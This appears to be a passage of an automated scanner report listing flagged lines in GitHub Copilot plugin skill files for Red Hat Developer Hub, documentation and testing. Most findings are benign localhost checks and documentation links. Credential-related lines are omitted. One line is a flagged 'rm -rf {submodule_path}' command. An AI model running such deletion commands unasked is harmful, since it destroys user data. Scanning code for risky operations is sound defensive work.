    - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria>
  • Network accessline 160
    - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/switch-mode.md

  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 92
    # 2. Test at http://localhost:7007
  • Network accessline 130
    - [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login
  • Network accessline 131
    - [ ] RHDH starts at `http://localhost:7007` with Guest login

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/test-plugin.md

  • Network accessline 73
    1. Open `http://localhost:7007` - Login as Guest
  • Network accessline 83
    curl http://localhost:7007/api/<plugin>/health

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/references/rhdh-repos.md

  • Network accessline 9
    - **Upstream:** <https://github.com/redhat-developer/rhdh>
  • Network accessline 11
    - **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l
  • Network accessline 12
    - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo
  • Network accessline 13
    - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug
  • Network accessline 23
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh>
  • Network accessline 29
    - **Upstream:** <https://github.com/redhat-developer/rhdh-cli>
  • Network accessline 43
    - **Upstream:** <https://github.com/redhat-developer/rhdh-local>
  • Network accessline 57
    - **Upstream:** <https://github.com/redhat-developer/rhdh-operator>
  • Network accessline 72
    - **Upstream:** <https://github.com/redhat-developer/rhdh-chart>
  • Network accessline 85
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays>
  • Network accessline 98
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils>
  • Network accessline 111
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog>
  • Network accessline 125
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugins>
  • Network accessline 139
    - **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory>
  • Network accessline 149
    - **Upstream:** <https://github.com/backstage/backstage>

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/references/slack-notification.md

  • Network accessline 109
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234
  • Network accessline 125
    Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 126
    See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 128
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235
  • Network accessline 143
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/references/versions.md

  • Network accessline 19
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 53
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 87
    Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0)
  • Network accessline 121
    Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0)
  • Network accessline 155
    Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0)
  • Network accessline 193
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package.
  • Network accessline 197
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package.
  • Network accessline 210
    Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__init__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__main__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 152
    checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI: not installed")         next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 154
    next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 296
    checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI not installed")         issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 298
    issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 404
    rhdh_running = False         try:             with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 405
    try:             with socket.create_connection(("localhost", 7007), timeout=1):                 rhdh_running = True
  • Network accessline 406
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 411
    if rhdh_running:             checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")
  • Network accessline 412
    checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")         else:
  • Network accessline 413
    fmt.log_ok("  RHDH: running on http://localhost:7007")

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 400
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 474
    [Credential-related source omitted]
  • Dangerous shell operationline 922
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
  • Dangerous shell operationline 928
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/formatters.py

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    BLUE = "\033[0;34m" BOLD = "\033[1m" NC = "\033[0m"  # No Color
  • Network accessline 36
    NC = "\033[0m"  # No Color

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/todo.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/worklog.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/rhdh/workspace.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh/scripts/rhdh

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/repo-documentation/skills/add-educational-comments/SKILL.md

  • Network accessline 45
    | Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | 
  • Network accessline 47
    | Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. |
  • Network accessline 151
    - [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)

harness/github-copilot/plugins/repo-documentation/skills/convert-plaintext-to-md/SKILL.md

  • Network accessline 160
    - [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
  • Network accessline 161
    - [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/)
  • Network accessline 162
    - [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)

harness/github-copilot/plugins/repo-documentation/skills/create-agentsmd/SKILL.md

  • Network accessline 14
    - "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/."
  • Network accessline 15
    - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents."
  • Network accessline 16
    - "Make this repo follow https://agents.md/."
  • Network accessline 21
    - The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 22
    - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 189
    - [AGENTS.md](https://agents.md/.)

harness/github-copilot/plugins/repo-documentation/skills/create-llms/SKILL.md

  • Network accessline 2
    name: "create-llms" description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r
  • Network accessline 3
    description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure 
  • Network accessline 4
    Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a
  • Network accessline 23
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 25
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 140
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 141
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/github-copilot/plugins/repo-documentation/skills/create-readme/SKILL.md

  • Network accessline 54
    | Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 55
    | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server
  • Network accessline 56
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 57
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. |
  • Network accessline 58
    | `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. |
  • Network accessline 59
    | `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. |
  • Network accessline 60
    | `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. |
  • Network accessline 134
    - [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md)
  • Network accessline 135
    - [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md)
  • Network accessline 136
    - [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md)
  • Network accessline 137
    - [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md)
  • Network accessline 138
    - [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)

harness/github-copilot/plugins/repo-documentation/skills/create-tldr-page/SKILL.md

  • Network accessline 16
    - "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 18
    - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 72
    /create-tldr-page https://some-command.io/docs/manual.html
  • Network accessline 96
    1. https://gnu.org/software/manual/html_node/some-command.html
  • Network accessline 97
    2. https://some.org/serve/some.man.html#some-command
  • Network accessline 98
    3. https://some-command.io/docs/cli/latest/manual
  • Network accessline 99
    4. https://some-command.io/docs/quickstart
  • Network accessline 111
    > Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>.
  • Network accessline 113
    > More information: <https://url-to-upstream.tld>.
  • Network accessline 139
    * [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md)
  • Network accessline 140
    * [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md)
  • Network accessline 141
    * [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md)
  • Network accessline 148
    /create-tldr-page #fetch https://git-scm.com/docs/git git
  • Network accessline 156
    > Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>.
  • Network accessline 158
    > More information: <https://git-scm.com/docs/git>.
  • Network accessline 166
    `git clone {{https://example.com/repo.git}}`
  • Network accessline 216
    - Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}`   - Example: `{{path/to/file}}` for file paths   - Example: `{{https://example.com}}` for URLs
  • Network accessline 218
    - Example: `{{https://example.com}}` for URLs
  • Network accessline 252
    - https://git-scm.com/docs/git
  • Network accessline 253
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md
  • Network accessline 254
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md
  • Network accessline 255
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md

harness/github-copilot/plugins/repo-documentation/skills/documentation-writer/SKILL.md

  • Network accessline 90
    - [Diátaxis framework](https://diataxis.fr/)

harness/github-copilot/plugins/repo-documentation/skills/tldr-prompt/SKILL.md

  • Network accessline 41
    | URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search 
  • Network accessline 42
    | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c
  • Network accessline 43
    | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and 
  • Network accessline 44
    | Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. |
  • Network accessline 45
    | Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. |
  • Network accessline 46
    | Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. |
  • Network accessline 47
    | General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. |
  • Network accessline 49
    When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/
  • Network accessline 121
    You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 122
    1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve
  • Network accessline 123
    2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 141
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 142
    - [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers)
  • Network accessline 143
    - [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview)
  • Network accessline 144
    - [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview)
  • Network accessline 145
    - [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat)
  • Network accessline 146
    - [GitHub Copilot documentation](https://docs.github.com/en/copilot/)
  • Network accessline 147
    - [Awesome Copilot](https://github.com/github/awesome-copilot)
  • Network accessline 148
    - [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename})
  • Network accessline 149
    - [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)

harness/github-copilot/plugins/repo-documentation/skills/update-llms/SKILL.md

  • Network accessline 2
    name: "update-llms" description: >-   Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM nav
  • Network accessline 3
    description: >-   Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale l
  • Network accessline 4
    Update an existing repository-root llms.txt file to match current documentation, specifications, examples, configuration, and repository structure. Use when users ask to update llms.txt, refresh LLM navigation, fix stale llms links, or keep
  • Network accessline 23
    - An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm
  • Network accessline 25
    - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`.
  • Network accessline 137
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 138
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/github-copilot/plugins/repo-documentation/skills/write-coding-standards-from-file/SKILL.md

  • Network accessline 72
    Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${
  • Network accessline 93
    | Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 94
    | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 95
    | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 96
    | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 97
    | C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` |
  • Network accessline 98
    | Go Style Guide | `https://github.com/golang-standards/project-layout` |
  • Network accessline 99
    | Java Style Guide | `https://coderanch.com/wiki/718799/Style` |
  • Network accessline 100
    | AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` |
  • Network accessline 101
    | jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` |
  • Network accessline 102
    | JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` |
  • Network accessline 103
    | JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` |
  • Network accessline 104
    | Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` |
  • Network accessline 105
    | Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` |
  • Network accessline 106
    | Perl Style Guide | `https://perldoc.perl.org/perlstyle` |
  • Network accessline 107
    | PHP Style Guide | `https://phptherightway.com/` |
  • Network accessline 108
    | Python Style Guide | `https://peps.python.org/pep-0008/` |
  • Network accessline 109
    | Ruby Style Guide | `https://rubystyle.guide/` |
  • Network accessline 110
    | Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` |
  • Network accessline 111
    | Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` |
  • Network accessline 112
    | TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` |
  • Network accessline 113
    | Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` |
  • Network accessline 114
    | Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` |
  • Network accessline 115
    | Git Usage Style Guide | `https://github.com/agis/git-style-guide` |
  • Network accessline 116
    | PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` |
  • Network accessline 117
    | CSS | `https://cssguidelin.es/` |
  • Network accessline 118
    | Sass Style Guide | `https://sass-guidelin.es/` |
  • Network accessline 119
    | HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` |
  • Network accessline 120
    | Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` |
  • Network accessline 121
    | Node.js Style Guide | `https://github.com/felixge/node-style-guide` |
  • Network accessline 122
    | SQL Style Guide | `https://www.sqlstyle.guide/` |
  • Network accessline 123
    | Angular Style Guide | `https://angular.dev/style-guide` |
  • Network accessline 124
    | Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` |
  • Network accessline 125
    | Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` |
  • Network accessline 126
    | SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` |
  • Network accessline 268
    - [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html)
  • Network accessline 269
    - [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions)
  • Network accessline 270
    - [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines)
  • Network accessline 271
    - [Go Style Guide](https://github.com/golang-standards/project-layout)
  • Network accessline 272
    - [Java Style Guide](https://coderanch.com/wiki/718799/Style)
  • Network accessline 273
    - [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide)
  • Network accessline 274
    - [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/)
  • Network accessline 275
    - [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp)
  • Network accessline 276
    - [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml)
  • Network accessline 277
    - [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html)
  • Network accessline 278
    - [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/)
  • Network accessline 279
    - [Perl Style Guide](https://perldoc.perl.org/perlstyle)
  • Network accessline 280
    - [PHP Style Guide](https://phptherightway.com/)
  • Network accessline 281
    - [Python Style Guide](https://peps.python.org/pep-0008/)
  • Network accessline 282
    - [Ruby Style Guide](https://rubystyle.guide/)
  • Network accessline 283
    - [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src)
  • Network accessline 284
    - [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/)
  • Network accessline 285
    - [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html)
  • Network accessline 286
    - [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards)
  • Network accessline 287
    - [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html)
  • Network accessline 288
    - [Git Usage Style Guide](https://github.com/agis/git-style-guide)
  • Network accessline 289
    - [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle)
  • Network accessline 290
    - [CSS](https://cssguidelin.es/)
  • Network accessline 291
    - [Sass Style Guide](https://sass-guidelin.es/)
  • Network accessline 292
    - [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide)
  • Network accessline 293
    - [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html)
  • Network accessline 294
    - [Node.js Style Guide](https://github.com/felixge/node-style-guide)
  • Network accessline 295
    - [SQL Style Guide](https://www.sqlstyle.guide/)
  • Network accessline 296
    - [Angular Style Guide](https://angular.dev/style-guide)
  • Network accessline 297
    - [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html)
  • Network accessline 298
    - [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/)
  • Network accessline 299
    - [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)

harness/github-copilot/plugins/ruby-mcp-development/skills/ruby-mcp-server-generator/references/project-templates.md

  • Network accessline 8
    source 'https://rubygems.org'

harness/github-copilot/plugins/skill-image-gen/skills/generate-image/SKILL.md

  • Network accessline 50
    | Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 51
    | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati
  • Network accessline 52
    | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 53
    | Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey |
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 60
    | --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 86
    | --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 87
    [Credential-related source omitted]
  • Network accessline 88
    | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 169
    - [OpenAI API keys](https://platform.openai.com/api-keys)
  • Network accessline 170
    - [Google AI Studio API keys](https://aistudio.google.com/apikey)

harness/github-copilot/plugins/swift-mcp-development/skills/swift-mcp-server-generator/references/project-templates.md

  • Network accessline 20
    dependencies: [         .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 21
    .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",             from: "0.10.0"
  • Network accessline 22
    url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 24
    ),         .package(             url: "https://github.com/apple/swift-log.git",
  • Network accessline 25
    .package(             url: "https://github.com/apple/swift-log.git",             from: "1.5.0"
  • Network accessline 26
    url: "https://github.com/apple/swift-log.git",
  • Network accessline 28
    ),         .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 29
    .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",             from: "2.0.0"
  • Network accessline 30
    url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 573
    The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 574
    - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 575
    - [swift-log](https://github.com/apple/swift-log) - Structured logging
  • Network accessline 576
    - [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown

harness/github-copilot/plugins/testing-automation/skills/pester-migration/SKILL.md

  • Network accessline 22
    - Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - 
  • Network accessline 24
    - Installation reference: https://pester.dev/docs/introduction/installation.
  • Network accessline 36
    Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5.
  • Network accessline 184
    - [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5)
  • Network accessline 185
    - Installation: https://pester.dev/docs/introduction/installation.

harness/github-copilot/plugins/testing-automation/skills/pester-migration/references/v3-to-v4.md

  • Network accessline 6
    Official guide: https://pester.dev/docs/migrations/v3-to-v4
  • Network accessline 29
    There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee
  • Network accessline 30
    that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n
  • Network accessline 31
    https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced
  • Network accessline 74
    cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873.
  • Network accessline 76
    https://github.com/pester/Pester/issues/873.
  • Network accessline 78
    Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81
  • Network accessline 80
    https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.

harness/github-copilot/plugins/testing-automation/skills/pester-migration/references/v4-to-v5.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v4-to-v5 ·
  • Network accessline 8
    Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5
  • Network accessline 70
    > `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 72
    > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 74
